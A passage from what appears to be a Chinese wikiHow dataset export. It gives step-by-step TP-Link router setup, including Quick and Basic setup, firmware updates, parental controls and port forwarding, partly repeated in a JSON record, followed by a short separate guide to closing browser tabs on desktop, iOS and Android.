把电脑连接到路由器。\\n这时候你需要用到另一条以太网电缆。把以太网电缆连接到路由器上任何可用的“LAN”端口。然后把另一端连接到电脑上的可用以太网端口。\\n如果电脑上没有可用的以太网端口，你可以购买一个USB转以太网适配器。把它插到任何可用的USB端口中，你就能连接以太网电缆和电脑了。\\n此外，你也可以使用路由器底部或用户手册上列出的默认SSID和密码，以无线方式连接到路由器。\\n2. 使用“快速设置”来配置路由器\\n2-1. 打开网络浏览器。\\n你可以使用电脑上的任意网络浏览器，包括Google Chrome、Safari、Firefox或Microsoft Edge。\\n2-2. 在网络浏览器顶部的地址栏中输入默认访问地址。\\n这样会打开路由器的用户界面。通常在路由器的底部或用户手册中都能找到默认的访问地址。默认访问地址通常是如下之一：\\nhttp://tplinkwifi.net\\nhttp://192.168.0.1\\nhttp://192.168.1.1\\nhttp://10.0.0.1\\n2-3. 创建新的管理员密码并点击让我们开始吧。\\n这创建的不是Wi-Fi密码，而是用于登录路由器和更改必要设置的密码。一个安全的密码应该至少有8个字符，并且还要同时包含字母、数字和特殊字符。请确保创建一个你能记住的密码。 输入两次密码，然后点击继续。\\n2-4. 确保选择快速设置选项卡。\\n这个选项会引导你完成路由器的设置过程。首先要记得点击顶部的选项卡。\\n如果你的TP-Link型号比较老，可能会位于左侧菜单面板的顶部。\\n2-5. 选择你的时区。\\n从“时区”旁边的下拉菜单中选择你当前的时区。然后点击继续。\\n2-6. 选择你的互联网连接类型。\\n点击互联网连接类型旁边的单选选项。你可以选择 “动态IP”、“静态IP”、“PPPoE”、“L2TP”或“PPTP”。如果你不确定自己使用的什么连接类型，可以点击屏幕顶部的。准备好继续后，点击。\\n“自动检测”功能可能无法完美发挥作用。如果你不确定使用的什么类型的互联网连接，请咨询你的互联网服务提供商。\\n如果你无法从互联网服务提供商那里获得所需的信息，也可以尝试使用基本设置来启动和运行互联网。\\n2-7. 输入IP地址和/或MAC信息。\\n根据所选择的互联网连接类型，你可能需要输入IP地址、子网掩码（通常是“255.255.255.0”）、默认网关以及主要和辅助DNS。如果你不确定这些信息，请咨询你的互联网服务提供商。输入信息后点击。\\n如果问你是否要克隆电脑的MAC地址，请咨询互联网服务提供商，确认你的互联网接入是否被限制在某个特定的MAC地址。如果是这样，请确保你使用的电脑拥有该MAC地址，然后点击单选选项，以便克隆电脑的MAC地址。如果你不确定，那就点击“不要克隆计算机的MAC地址”旁边的单选选项，然后点击。\\n2-8. 输入网络名称（SSID）和密码。\\n网络名称是在尝试连接到无线网络时要搜索的名称。然后还要输入密码才能连接到网络。在“网络名称（SSID）”旁边输入网络名称，然后“密码”旁边输入密码。点击继续。\\n如果你想让别人连接到网络，记得要使用不同于任何其他应用程序或服务的密码。使用一个你不介意被别人知道的密码。\\n如果你的路由器是双频的，那就要为2.4GHz频段和5GHz频段分别设置一个网络名称（SSID）。2.4 GHz频段的互联网速度较慢，但覆盖范围较大。5GHz频段的互联网速度会更快，但覆盖范围较小。你可以为两个频段设置相同的密码，但它们的网络名称必须有所区别。\\n如果你不想让自己的网络名称在别人搜索无线网络时出现在结果中，也可以点击“隐藏SSID”旁边的复选框。在连接到无线网络时，你将需要手动输入网络名称和密码。\\n如果你的路由器支持智能连接，也可以试着点击智能连接旁边的复选框来启用它。这样，上网设备就能自动在2.4GHz频段和5GHz频段之间切换，但具体取决于它们离路由器有多远。\\n2-9. 查看信息并点击保存。\\n摘要页面会显示你截至目前所输入的全部信息。查看页面，确保填写的信息准确无误。在准备好继续时，点击。\\n2-10. 把设备连接到无线网络，然后点击下一步。\\n下一个页面会显示你的网络名称和密码。你可以利用这个时候把无线设备连接到网络。在准备好继续时，点击。\\n2-11. 用你的TP-Link ID登录。\\n如果你有TP-Link ID，那就输入与TP-Link ID关联的电子邮箱和密码，然后点击以连接到云服务并注册你的路由器。如果你还没有TP-Link ID，也可以点击，输入电子邮件地址并创建密码，然后同意条款和条件，这样就能创建一个TP-Link ID。你也可以点击跳过这一步。\\n2-12. 点击完成。\\n恭喜！你已经把TP-Link路由器设置好了。\\n2-13. 更新路由器固件。\\n一旦完成了路由器的设置，不妨再更新一下路由器的固件。这可能需要花几分钟的时间。一旦更新完成，路由器就会自动重启。你可以按照以下步骤来更新路由器固件：\\n在网络浏览器中输入默认访问地址。\\n使用管理员密码登录。\\n点击右上角的。\\n如果有更新，点击“在线升级”下方的。\\n点击进行确认。\\n等待更新完成。\\n3. 使用基本设置来配置路由器\\n3-1. 打开网络浏览器。\\n你可以使用电脑上的任何网络浏览器，包括Google Chrome、Safari、Firefox或Microsoft Edge。\\n3-2. 在网络浏览器顶部的地址栏中输入默认访问地址。\\n这样会打开路由器的用户界面。你通常可以在路由器的底部或用户手册中找到默认访问地址。默认访问地址通常会是以下之一：\\nhttp://tplinkwifi.net\\nhttp://192.168.0.1\\nhttp://192.168.1.1\\nhttp://10.0.0.1\\n3-3. 创建一个新的管理密码，然后点击我们开始吧。\\n这不是Wi-Fi密码，而是你用来登录路由器并在必要时更改设置的密码。一个安全的密码应该至少有8个字符，并且还要同时包含字母、数字和特殊字符。请确保创建一个你能记住的密码。 输入两次密码，然后点击继续。\\n3-4. 点击基本。\\n这是屏幕顶部的第二个选项卡。它让你能够使用一些基本步骤来配置路由器，这种方法所需的信息最少。\\n3-5. 点击无线。\\n这是左侧菜单面板中的第三个选项。你可以通过它来配置无线设置。\\n3-6. 点击复选框以启用网络频段。\\n大多数双频无线路由器都有两个可以启用和连接的网络。 2.4 GHz频段的互联网速度较慢，但覆盖范围较大。5GHz频段的互联网速度会更快，但覆盖范围较小。点击你想启用的网络旁边的复选框。你可以同时启用两个网络。\\n3-7. 输入网络名称（SSID）和密码。\\n网络名称是在尝试连接到无线网络时要搜索的名称。然后还要输入密码才能连接到网络。你得为2.4GHz网络和5GHz网络输入不同的网络名称。但是，两个网络可以使用相同的密码。\\n如果你想让别人连接到网络，记得要使用不同于任何其他应用程序或服务的密码。使用一个你不介意被别人知道的密码。\\n如果你的TP-Link型号比较老，则需要在左边的菜单中点击和来配置两个网络频段。\\n如果你不想让自己的网络名称在别人搜索无线网络时出现在结果中，也可以点击“隐藏SSID”旁边的复选框。在连接到无线网络时，你将需要手动输入网络名称和密码。\\n3-8. 点击右下角的蓝色保存按钮。\\n这样将保存你的网络设置。\\n3-9. 重新连接到互联网。\\n如果更改了无线网络名称和密码，你的电脑和设备会自动从网络断开。使用你设置的新网络名称（SSID）和密码重新登录网络。然后你应该就能够连接到互联网了。\\n3-10. 更新路由器固件。\\n一旦完成了路由器的设置，不妨再更新一下路由器的固件。这可能需要花几分钟的时间。一旦更新完成，路由器就会自动重启。你可以按照以下步骤来更新路由器固件：\\n在网络浏览器中输入默认访问地址。\\n使用管理员密码登录。\\n点击右上角的。\\n如果有更新，点击“在线升级”下方的。\\n点击进行确认。\\n等待更新完成。\\n4. 设置家长控制\\n4-1. 打开网络浏览器。\\n你可以使用电脑上的任何网络浏览器，包括Google Chrome、Safari、Firefox或Microsoft Edge。你可以通过网络界面来为TP-Link路由器配置家长控制。使用家长控制可以阻止特定设备访问某些网站或关键词，并且还可以为特定设备设置上网时间限制。\\n4-2. 在网络浏览器顶部的地址栏中输入默认访问地址。\\n这样会打开路由器的用户界面。通常在路由器的底部或用户手册中都能找到默认的访问地址。默认访问地址通常是如下之一：\\nhttp://tplinkwifi.net\\nhttp://192.168.0.1\\nhttp://192.168.1.1\\nhttp://10.0.0.1\\n4-3. 输入管理密码并点击登录。\\n这是你在最初设置路由器时首次打开用户界面时设置的密码。输入管理密码，然后点击。\\n如果你还没有设置管理密码，那就输入一个新密码，然后点击。接着点击以便完成初始设置过程。\\n4-4. 点击基本。\\n这是屏幕顶部的第二个选项卡。它让你能够使用一些基本步骤来配置路由器，这种方法所需的信息最少。\\n4-5. 点击家长控制。\\n这是左侧菜单中的第五个选项。它的图标像是一个大人和一个小孩。\\n4-6. 点击 添加。\\n它位于网页右上角，在一个类似加号（+）的图标旁边。\\n4-7. 为配置文件输入一个名称。\\n在“名称”旁边为家长控制配置文件输入一个名称。\\n4-8. 选择一台要应用家长控制的设备。\\n可以按照以下步骤来完成：\\n点击“设备”下方的大加号（+）图标。\\n点击你想应用设置的设备旁边的复选框。\\n点击右下角的。\\n4-9. 点击下一步。\\n如果“设备”下方列出了正确的设备，点击右下角的以继续。\\n4-10. 输入一个你想屏蔽相关内容的关键词，然后点击添加。\\n你可以输入一个关键词来禁止访问任何包含该关键词的网站内容，也可以输入特定的网站或应用程序名称。\\n你可以随意添加关键词或想禁止访问的网站，数量没有限制。\\n4-11. 点击下一步。\\n在输入所有想屏蔽的关键词后，点击继续。\\n4-12. 设置每天的时间限制。\\n为此，你可以点击“时间限制”下方旁边的复选框。然后使用滑块来设置每天的时间限制，也就是设备每天可以上网多久。你可以为工作日（周一至周五）和周末（周六和周日）单独设置不同的每天上网时长。\\n4-13. 设置睡前限制。\\n这样会禁止设备在睡觉时间访问互联网。要设置睡觉时间限制，点击“睡觉时间”下方旁边的复选框。然后在“从：”和“到：”旁边的方框中设置禁止设备访问互联网的时间段（比如，“从：晚上9:00，到：早上6:00”）。你可以为工作日和周末单独设置不同的睡觉时间。\\n4-14. 点击保存。\\n这样会保存配置文件。你可以添加更多的配置文件来创建不同的限制。\\n5. 配置端口转发\\n5-1. 打开网络浏览器。\\n你可以使用电脑上的任何网络浏览器，包括Google Chrome、Safari、Firefox或Microsoft Edge。如果电脑或设备需要访问某个特定的端口或外部网络地址，你就可以在路由器上设置端口转发，让设备直接连接到外部互联网。你可以在网络界面中设置端口转发。\\n5-2. 在网络浏览器顶部的地址栏中输入默认访问地址。\\n这样会打开路由器的用户界面。你通常可以在路由器的底部或用户手册中找到默认访问地址。默认访问地址通常会是以下之一：\\nhttp://tplinkwifi.net\\nhttp://192.168.0.1\\nhttp://192.168.1.1\\nhttp://10.0.0.1\\n5-3. 输入管理密码并点击登录。\\n这是你在最初设置路由器时首次打开用户界面时设置的密码。输入管理密码，然后点击。\\n如果你还没有设置管理密码，那就输入一个新密码，然后点击。接着点击以便完成初始设置过程。\\n5-4. 点击高级。\\n这是屏幕顶部的第三个选项卡。你可以在其中对TP-Link路由器进行高级配置。\\n5-5. 记下公用和专用IP地址。\\n公用IP地址列在“互联网”方框中的“IP地址”旁边。专用IP地址列在“WAN”方框中的“IP地址”旁边。记录下这两串数字。\\n5-6. 打开“DHCP服务器”页面。\\n点击左边菜单面板中的，展开网络菜单。然后点击“网络 ”下方菜单中的。\\n5-7. 记下要转发的设备的IP地址和MAC地址。\\n为此，你可以向下滚动到“DHCP客户端列表”。这个表格中列出了所有连接到网络的设备。通过设备名称来找到你要应用端口转发的设备。 然后，记下分配的IP地址和MAC地址。\\n5-8. 点击 添加。\\n它位于网页右上角，在一个类似加号（+）的图标旁边。这样，你就可以为设备输入一个地址保留。\\n5-9. 输入MAC地址和IP地址，然后点击保存。\\n在旁边输入或复制并粘贴MAC地址。然后在旁边输入IP地址。如果需要，你还可以输入描述。然后点击。这样就可以确保路由器总是为设备分配该IP地址。\\n5-10. 打开“虚拟服务器”页面。\\n向下滚动并在左侧的菜单面板上点击。然后点击。\\n5-11. 点击 添加。\\n它位于网页右上角，在一个类似加号（+）的图标旁边。\\n5-12. 选择服务类型。\\n服务包括HTTP、FTP、DNS、Gopher、NNTP等。要选择服务类型，点击 “服务类型”旁边的。然后，点击你想选择的服务类型旁边的。该服务类型的端口号就会被自动填写。\\n如果你连接的服务所使用的端口号与自动填写的有所不同，那就得与该服务进行核实，确认正确的端口号是什么。\\n5-13. 输入设备的IP地址，然后点击保存。\\n在“内部IP地址”旁边输入你之前分配给设备的相同IP地址。完成后，点击右下角的。这样就为设备分配了端口转发。\\n要在网络中或网络外的网络浏览器中访问你刚刚添加的服务器，可以在地址栏中输入公用IP地址，然后以此输入冒号（:）和端口号（如119.139.172.01:80）。\\n\", \"简要回答\": \"路由器是一种用来把多台设备（如电脑和智能手机）连接到网络的设备。如果你最近刚买了一台新的TP-Link路由器，那就可以通过用户界面中的“快速设置”过程来轻松进行配置，而这一过程可以通过电脑上的网络浏览器来完成。如果你没有所需的全部信息，那么也可以尝试使用基本设置让无线网络启动并运行。此外，你还可以使用Web界面在路由器上设置家长控制，并为特定的设备分配端口转发。这篇文章将教你如何配置TP-Link路由器。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"安装路由器\", \"步骤\": [{\"编号\": 1, \"标题\": \"关闭调制解调器的电源。\", \"描述\": \"如果你使用单独的调制解调器，一定先要拔掉它的电源。如果调制解调器配有备用电池，也要记得拔掉它。\"}, {\"编号\": 2, \"标题\": \"把路由器连接到互联网。\", \"描述\": \"你需要用到一条以太网电缆。按照以下步骤之一，把路由器连接到互联网。\\n如果路由器带有内置的调制解调器，那就只用把互联网服务提供商的互联网电缆连接到路由器背面的“WAN”或“Internet”端口。\\n如果你使用单独的调制解调器，那就把家里的网线连接到调制解调器的“WAN”或“Internet”端口。然后，把以太网电缆连接到调制解调器背面某个可用的“LAN”端口。接下来，把以太网电缆的另一端连接到路由器背面的“WAN”或“Internet”端口。\"}, {\"编号\": 3, \"标题\": \"接通调制解调器的电源。\", \"描述\": \"如果你使用单独的调制解调器，那就插上它的电源插头，或者重新接通电池组，给调制解调器重新供电。\"}, {\"编号\": 4, \"标题\": \"接通路由器的电源。\", \"描述\": \"确保使用路由器随附的交流电源适配器。把交流电源适配器连接到电源输入口，它通常位于路由器背面。然后把交流电源适配器插入电源插座。这时候，路由器应该会通电。等路由器正面的指示灯稳定亮起，就表示路由器已经完成启动。\"}, {\"编号\": 5, \"标题\": \"把电脑连接到路由器。\", \"描述\": \"这时候你需要用到另一条以太网电缆。把以太网电缆连接到路由器上任何可用的“LAN”端口。然后把另一端连接到电脑上的可用以太网端口。\\n如果电脑上没有可用的以太网端口，你可以购买一个USB转以太网适配器。把它插到任何可用的USB端口中，你就能连接以太网电缆和电脑了。\\n此外，你也可以使用路由器底部或用户手册上列出的默认SSID和密码，以无线方式连接到路由器。\"}]}, {\"编号\": 2, \"标题\": \"使用“快速设置”来配置路由器\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开网络浏览器。\", \"描述\": \"你可以使用电脑上的任意网络浏览器，包括Google Chrome、Safari、Firefox或Microsoft Edge。\"}, {\"编号\": 2, \"标题\": \"在网络浏览器顶部的地址栏中输入默认访问地址。\", \"描述\": \"这样会打开路由器的用户界面。通常在路由器的底部或用户手册中都能找到默认的访问地址。默认访问地址通常是如下之一：\\nhttp://tplinkwifi.net\\nhttp://192.168.0.1\\nhttp://192.168.1.1\\nhttp://10.0.0.1\"}, {\"编号\": 3, \"标题\": \"创建新的管理员密码并点击让我们开始吧。\", \"描述\": \"这创建的不是Wi-Fi密码，而是用于登录路由器和更改必要设置的密码。一个安全的密码应该至少有8个字符，并且还要同时包含字母、数字和特殊字符。请确保创建一个你能记住的密码。 输入两次密码，然后点击继续。\"}, {\"编号\": 4, \"标题\": \"确保选择快速设置选项卡。\", \"描述\": \"这个选项会引导你完成路由器的设置过程。首先要记得点击顶部的选项卡。\\n如果你的TP-Link型号比较老，可能会位于左侧菜单面板的顶部。\"}, {\"编号\": 5, \"标题\": \"选择你的时区。\", \"描述\": \"从“时区”旁边的下拉菜单中选择你当前的时区。然后点击继续。\"}, {\"编号\": 6, \"标题\": \"选择你的互联网连接类型。\", \"描述\": \"点击互联网连接类型旁边的单选选项。你可以选择 “动态IP”、“静态IP”、“PPPoE”、“L2TP”或“PPTP”。如果你不确定自己使用的什么连接类型，可以点击屏幕顶部的。准备好继续后，点击。\\n“自动检测”功能可能无法完美发挥作用。如果你不确定使用的什么类型的互联网连接，请咨询你的互联网服务提供商。\\n如果你无法从互联网服务提供商那里获得所需的信息，也可以尝试使用基本设置来启动和运行互联网。\"}, {\"编号\": 7, \"标题\": \"输入IP地址和/或MAC信息。\", \"描述\": \"根据所选择的互联网连接类型，你可能需要输入IP地址、子网掩码（通常是“255.255.255.0”）、默认网关以及主要和辅助DNS。如果你不确定这些信息，请咨询你的互联网服务提供商。输入信息后点击。\\n如果问你是否要克隆电脑的MAC地址，请咨询互联网服务提供商，确认你的互联网接入是否被限制在某个特定的MAC地址。如果是这样，请确保你使用的电脑拥有该MAC地址，然后点击单选选项，以便克隆电脑的MAC地址。如果你不确定，那就点击“不要克隆计算机的MAC地址”旁边的单选选项，然后点击。\"}, {\"编号\": 8, \"标题\": \"输入网络名称（SSID）和密码。\", \"描述\": \"网络名称是在尝试连接到无线网络时要搜索的名称。然后还要输入密码才能连接到网络。在“网络名称（SSID）”旁边输入网络名称，然后“密码”旁边输入密码。点击继续。\\n如果你想让别人连接到网络，记得要使用不同于任何其他应用程序或服务的密码。使用一个你不介意被别人知道的密码。\\n如果你的路由器是双频的，那就要为2.4GHz频段和5GHz频段分别设置一个网络名称（SSID）。2.4 GHz频段的互联网速度较慢，但覆盖范围较大。5GHz频段的互联网速度会更快，但覆盖范围较小。你可以为两个频段设置相同的密码，但它们的网络名称必须有所区别。\\n如果你不想让自己的网络名称在别人搜索无线网络时出现在结果中，也可以点击“隐藏SSID”旁边的复选框。在连接到无线网络时，你将需要手动输入网络名称和密码。\\n如果你的路由器支持智能连接，也可以试着点击智能连接旁边的复选框来启用它。这样，上网设备就能自动在2.4GHz频段和5GHz频段之间切换，但具体取决于它们离路由器有多远。\"}, {\"编号\": 9, \"标题\": \"查看信息并点击保存。\", \"描述\": \"摘要页面会显示你截至目前所输入的全部信息。查看页面，确保填写的信息准确无误。在准备好继续时，点击。\"}, {\"编号\": 10, \"标题\": \"把设备连接到无线网络，然后点击下一步。\", \"描述\": \"下一个页面会显示你的网络名称和密码。你可以利用这个时候把无线设备连接到网络。在准备好继续时，点击。\"}, {\"编号\": 11, \"标题\": \"用你的TP-Link ID登录。\", \"描述\": \"如果你有TP-Link ID，那就输入与TP-Link ID关联的电子邮箱和密码，然后点击以连接到云服务并注册你的路由器。如果你还没有TP-Link ID，也可以点击，输入电子邮件地址并创建密码，然后同意条款和条件，这样就能创建一个TP-Link ID。你也可以点击跳过这一步。\"}, {\"编号\": 12, \"标题\": \"点击完成。\", \"描述\": \"恭喜！你已经把TP-Link路由器设置好了。\"}, {\"编号\": 13, \"标题\": \"更新路由器固件。\", \"描述\": \"一旦完成了路由器的设置，不妨再更新一下路由器的固件。这可能需要花几分钟的时间。一旦更新完成，路由器就会自动重启。你可以按照以下步骤来更新路由器固件：\\n在网络浏览器中输入默认访问地址。\\n使用管理员密码登录。\\n点击右上角的。\\n如果有更新，点击“在线升级”下方的。\\n点击进行确认。\\n等待更新完成。\"}]}, {\"编号\": 3, \"标题\": \"使用基本设置来配置路由器\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开网络浏览器。\", \"描述\": \"你可以使用电脑上的任何网络浏览器，包括Google Chrome、Safari、Firefox或Microsoft Edge。\"}, {\"编号\": 2, \"标题\": \"在网络浏览器顶部的地址栏中输入默认访问地址。\", \"描述\": \"这样会打开路由器的用户界面。你通常可以在路由器的底部或用户手册中找到默认访问地址。默认访问地址通常会是以下之一：\\nhttp://tplinkwifi.net\\nhttp://192.168.0.1\\nhttp://192.168.1.1\\nhttp://10.0.0.1\"}, {\"编号\": 3, \"标题\": \"创建一个新的管理密码，然后点击我们开始吧。\", \"描述\": \"这不是Wi-Fi密码，而是你用来登录路由器并在必要时更改设置的密码。一个安全的密码应该至少有8个字符，并且还要同时包含字母、数字和特殊字符。请确保创建一个你能记住的密码。 输入两次密码，然后点击继续。\"}, {\"编号\": 4, \"标题\": \"点击基本。\", \"描述\": \"这是屏幕顶部的第二个选项卡。它让你能够使用一些基本步骤来配置路由器，这种方法所需的信息最少。\"}, {\"编号\": 5, \"标题\": \"点击无线。\", \"描述\": \"这是左侧菜单面板中的第三个选项。你可以通过它来配置无线设置。\"}, {\"编号\": 6, \"标题\": \"点击复选框以启用网络频段。\", \"描述\": \"大多数双频无线路由器都有两个可以启用和连接的网络。 2.4 GHz频段的互联网速度较慢，但覆盖范围较大。5GHz频段的互联网速度会更快，但覆盖范围较小。点击你想启用的网络旁边的复选框。你可以同时启用两个网络。\"}, {\"编号\": 7, \"标题\": \"输入网络名称（SSID）和密码。\", \"描述\": \"网络名称是在尝试连接到无线网络时要搜索的名称。然后还要输入密码才能连接到网络。你得为2.4GHz网络和5GHz网络输入不同的网络名称。但是，两个网络可以使用相同的密码。\\n如果你想让别人连接到网络，记得要使用不同于任何其他应用程序或服务的密码。使用一个你不介意被别人知道的密码。\\n如果你的TP-Link型号比较老，则需要在左边的菜单中点击和来配置两个网络频段。\\n如果你不想让自己的网络名称在别人搜索无线网络时出现在结果中，也可以点击“隐藏SSID”旁边的复选框。在连接到无线网络时，你将需要手动输入网络名称和密码。\"}, {\"编号\": 8, \"标题\": \"点击右下角的蓝色保存按钮。\", \"描述\": \"这样将保存你的网络设置。\"}, {\"编号\": 9, \"标题\": \"重新连接到互联网。\", \"描述\": \"如果更改了无线网络名称和密码，你的电脑和设备会自动从网络断开。使用你设置的新网络名称（SSID）和密码重新登录网络。然后你应该就能够连接到互联网了。\"}, {\"编号\": 10, \"标题\": \"更新路由器固件。\", \"描述\": \"一旦完成了路由器的设置，不妨再更新一下路由器的固件。这可能需要花几分钟的时间。一旦更新完成，路由器就会自动重启。你可以按照以下步骤来更新路由器固件：\\n在网络浏览器中输入默认访问地址。\\n使用管理员密码登录。\\n点击右上角的。\\n如果有更新，点击“在线升级”下方的。\\n点击进行确认。\\n等待更新完成。\"}]}, {\"编号\": 4, \"标题\": \"设置家长控制\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开网络浏览器。\", \"描述\": \"你可以使用电脑上的任何网络浏览器，包括Google Chrome、Safari、Firefox或Microsoft Edge。你可以通过网络界面来为TP-Link路由器配置家长控制。使用家长控制可以阻止特定设备访问某些网站或关键词，并且还可以为特定设备设置上网时间限制。\"}, {\"编号\": 2, \"标题\": \"在网络浏览器顶部的地址栏中输入默认访问地址。\", \"描述\": \"这样会打开路由器的用户界面。通常在路由器的底部或用户手册中都能找到默认的访问地址。默认访问地址通常是如下之一：\\nhttp://tplinkwifi.net\\nhttp://192.168.0.1\\nhttp://192.168.1.1\\nhttp://10.0.0.1\"}, {\"编号\": 3, \"标题\": \"输入管理密码并点击登录。\", \"描述\": \"这是你在最初设置路由器时首次打开用户界面时设置的密码。输入管理密码，然后点击。\\n如果你还没有设置管理密码，那就输入一个新密码，然后点击。接着点击以便完成初始设置过程。\"}, {\"编号\": 4, \"标题\": \"点击基本。\", \"描述\": \"这是屏幕顶部的第二个选项卡。它让你能够使用一些基本步骤来配置路由器，这种方法所需的信息最少。\"}, {\"编号\": 5, \"标题\": \"点击家长控制。\", \"描述\": \"这是左侧菜单中的第五个选项。它的图标像是一个大人和一个小孩。\"}, {\"编号\": 6, \"标题\": \"点击 添加。\", \"描述\": \"它位于网页右上角，在一个类似加号（+）的图标旁边。\"}, {\"编号\": 7, \"标题\": \"为配置文件输入一个名称。\", \"描述\": \"在“名称”旁边为家长控制配置文件输入一个名称。\"}, {\"编号\": 8, \"标题\": \"选择一台要应用家长控制的设备。\", \"描述\": \"可以按照以下步骤来完成：\\n点击“设备”下方的大加号（+）图标。\\n点击你想应用设置的设备旁边的复选框。\\n点击右下角的。\"}, {\"编号\": 9, \"标题\": \"点击下一步。\", \"描述\": \"如果“设备”下方列出了正确的设备，点击右下角的以继续。\"}, {\"编号\": 10, \"标题\": \"输入一个你想屏蔽相关内容的关键词，然后点击添加。\", \"描述\": \"你可以输入一个关键词来禁止访问任何包含该关键词的网站内容，也可以输入特定的网站或应用程序名称。\\n你可以随意添加关键词或想禁止访问的网站，数量没有限制。\"}, {\"编号\": 11, \"标题\": \"点击下一步。\", \"描述\": \"在输入所有想屏蔽的关键词后，点击继续。\"}, {\"编号\": 12, \"标题\": \"设置每天的时间限制。\", \"描述\": \"为此，你可以点击“时间限制”下方旁边的复选框。然后使用滑块来设置每天的时间限制，也就是设备每天可以上网多久。你可以为工作日（周一至周五）和周末（周六和周日）单独设置不同的每天上网时长。\"}, {\"编号\": 13, \"标题\": \"设置睡前限制。\", \"描述\": \"这样会禁止设备在睡觉时间访问互联网。要设置睡觉时间限制，点击“睡觉时间”下方旁边的复选框。然后在“从：”和“到：”旁边的方框中设置禁止设备访问互联网的时间段（比如，“从：晚上9:00，到：早上6:00”）。你可以为工作日和周末单独设置不同的睡觉时间。\"}, {\"编号\": 14, \"标题\": \"点击保存。\", \"描述\": \"这样会保存配置文件。你可以添加更多的配置文件来创建不同的限制。\"}]}, {\"编号\": 5, \"标题\": \"配置端口转发\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开网络浏览器。\", \"描述\": \"你可以使用电脑上的任何网络浏览器，包括Google Chrome、Safari、Firefox或Microsoft Edge。如果电脑或设备需要访问某个特定的端口或外部网络地址，你就可以在路由器上设置端口转发，让设备直接连接到外部互联网。你可以在网络界面中设置端口转发。\"}, {\"编号\": 2, \"标题\": \"在网络浏览器顶部的地址栏中输入默认访问地址。\", \"描述\": \"这样会打开路由器的用户界面。你通常可以在路由器的底部或用户手册中找到默认访问地址。默认访问地址通常会是以下之一：\\nhttp://tplinkwifi.net\\nhttp://192.168.0.1\\nhttp://192.168.1.1\\nhttp://10.0.0.1\"}, {\"编号\": 3, \"标题\": \"输入管理密码并点击登录。\", \"描述\": \"这是你在最初设置路由器时首次打开用户界面时设置的密码。输入管理密码，然后点击。\\n如果你还没有设置管理密码，那就输入一个新密码，然后点击。接着点击以便完成初始设置过程。\"}, {\"编号\": 4, \"标题\": \"点击高级。\", \"描述\": \"这是屏幕顶部的第三个选项卡。你可以在其中对TP-Link路由器进行高级配置。\"}, {\"编号\": 5, \"标题\": \"记下公用和专用IP地址。\", \"描述\": \"公用IP地址列在“互联网”方框中的“IP地址”旁边。专用IP地址列在“WAN”方框中的“IP地址”旁边。记录下这两串数字。\"}, {\"编号\": 6, \"标题\": \"打开“DHCP服务器”页面。\", \"描述\": \"点击左边菜单面板中的，展开网络菜单。然后点击“网络 ”下方菜单中的。\"}, {\"编号\": 7, \"标题\": \"记下要转发的设备的IP地址和MAC地址。\", \"描述\": \"为此，你可以向下滚动到“DHCP客户端列表”。这个表格中列出了所有连接到网络的设备。通过设备名称来找到你要应用端口转发的设备。 然后，记下分配的IP地址和MAC地址。\"}, {\"编号\": 8, \"标题\": \"点击 添加。\", \"描述\": \"它位于网页右上角，在一个类似加号（+）的图标旁边。这样，你就可以为设备输入一个地址保留。\"}, {\"编号\": 9, \"标题\": \"输入MAC地址和IP地址，然后点击保存。\", \"描述\": \"在旁边输入或复制并粘贴MAC地址。然后在旁边输入IP地址。如果需要，你还可以输入描述。然后点击。这样就可以确保路由器总是为设备分配该IP地址。\"}, {\"编号\": 10, \"标题\": \"打开“虚拟服务器”页面。\", \"描述\": \"向下滚动并在左侧的菜单面板上点击。然后点击。\"}, {\"编号\": 11, \"标题\": \"点击 添加。\", \"描述\": \"它位于网页右上角，在一个类似加号（+）的图标旁边。\"}, {\"编号\": 12, \"标题\": \"选择服务类型。\", \"描述\": \"服务包括HTTP、FTP、DNS、Gopher、NNTP等。要选择服务类型，点击 “服务类型”旁边的。然后，点击你想选择的服务类型旁边的。该服务类型的端口号就会被自动填写。\\n如果你连接的服务所使用的端口号与自动填写的有所不同，那就得与该服务进行核实，确认正确的端口号是什么。\"}, {\"编号\": 13, \"标题\": \"输入设备的IP地址，然后点击保存。\", \"描述\": \"在“内部IP地址”旁边输入你之前分配给设备的相同IP地址。完成后，点击右下角的。这样就为设备分配了端口转发。\\n要在网络中或网络外的网络浏览器中访问你刚刚添加的服务器，可以在地址栏中输入公用IP地址，然后以此输入冒号（:）和端口号（如119.139.172.01:80）。\"}]}]}}",
"问题明细": "",
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} | wikihow |
14,699 | 如何关闭选项卡 | 1. 在英特网浏览器上关闭选项卡
1-1. 使用你的鼠标或触摸板将指针放在每个浏览器选项卡的“x”上。
“x”位于选项卡图标和标题的右侧。
1-2. 点击“x”。
你的选项卡就会被立即关闭。
1-3. 使用你的键盘选择关闭选项卡。
首先确保当前的活动页面就是你想要关闭的选项卡。然后使用一下快捷方式关闭它：
如果你使用的系统是Windows或Linux系统，那么同时按下控制（Ctrl）键和字母“w”键。
如果你使用的是Mac电脑，那么同时按下Command键和字母“w”键。
1-4. 使用你的鼠标按钮关闭选项卡。
右键点击你想要关闭的选项卡，然后选择下拉菜单中的“关闭选项卡”选项。
1-5. 当你想要在火狐浏览器、Safari、和英特网浏览器中关闭选项卡时，可根据上述方法来关闭选项卡。
2. 在苹果设备上关闭选项卡
2-1. 点击你iPhone、iPod或iPad上的Safari。
点击右下方的选项卡。它看起来像是叠在一起的纸张。
2-2. 等待所有已经打开的选项卡竖直地出现在屏幕上，然后点击每个选项卡角落的“x”来关闭各个选项卡。
2-3. 找到Safari选项卡底部的选项。
点击左下角的“隐私”，选择“关闭全部”，可以一下子关掉所有的标选项卡。
2-4. 再次点击“隐私”，返回到浏览模式，此时所有的选项卡都已关闭。
3. 在Chrome上关闭选项卡
3-1. 打开浏览器。
这个浏览器可能是Chrome、Dolphin或者其它为智能手机设计的浏览器。大多数Android设备上的浏览器都是Chrome。
3-2. 查看已打开的选项卡。
所有的选项卡都水平排列在最上面，点击标签栏，查看你要关闭的选项卡。
3-3. 点击选项卡右侧的“x”。
Android浏览器最多允许你同时打开最多6个选项卡。
3-4. 同时关闭所有的选项卡。
点击选项卡切换图标，这个图标的样子是堆在一起的页面。点击“菜单”，选择“关闭所有选项卡”。这个选项在Android平板上不可用。
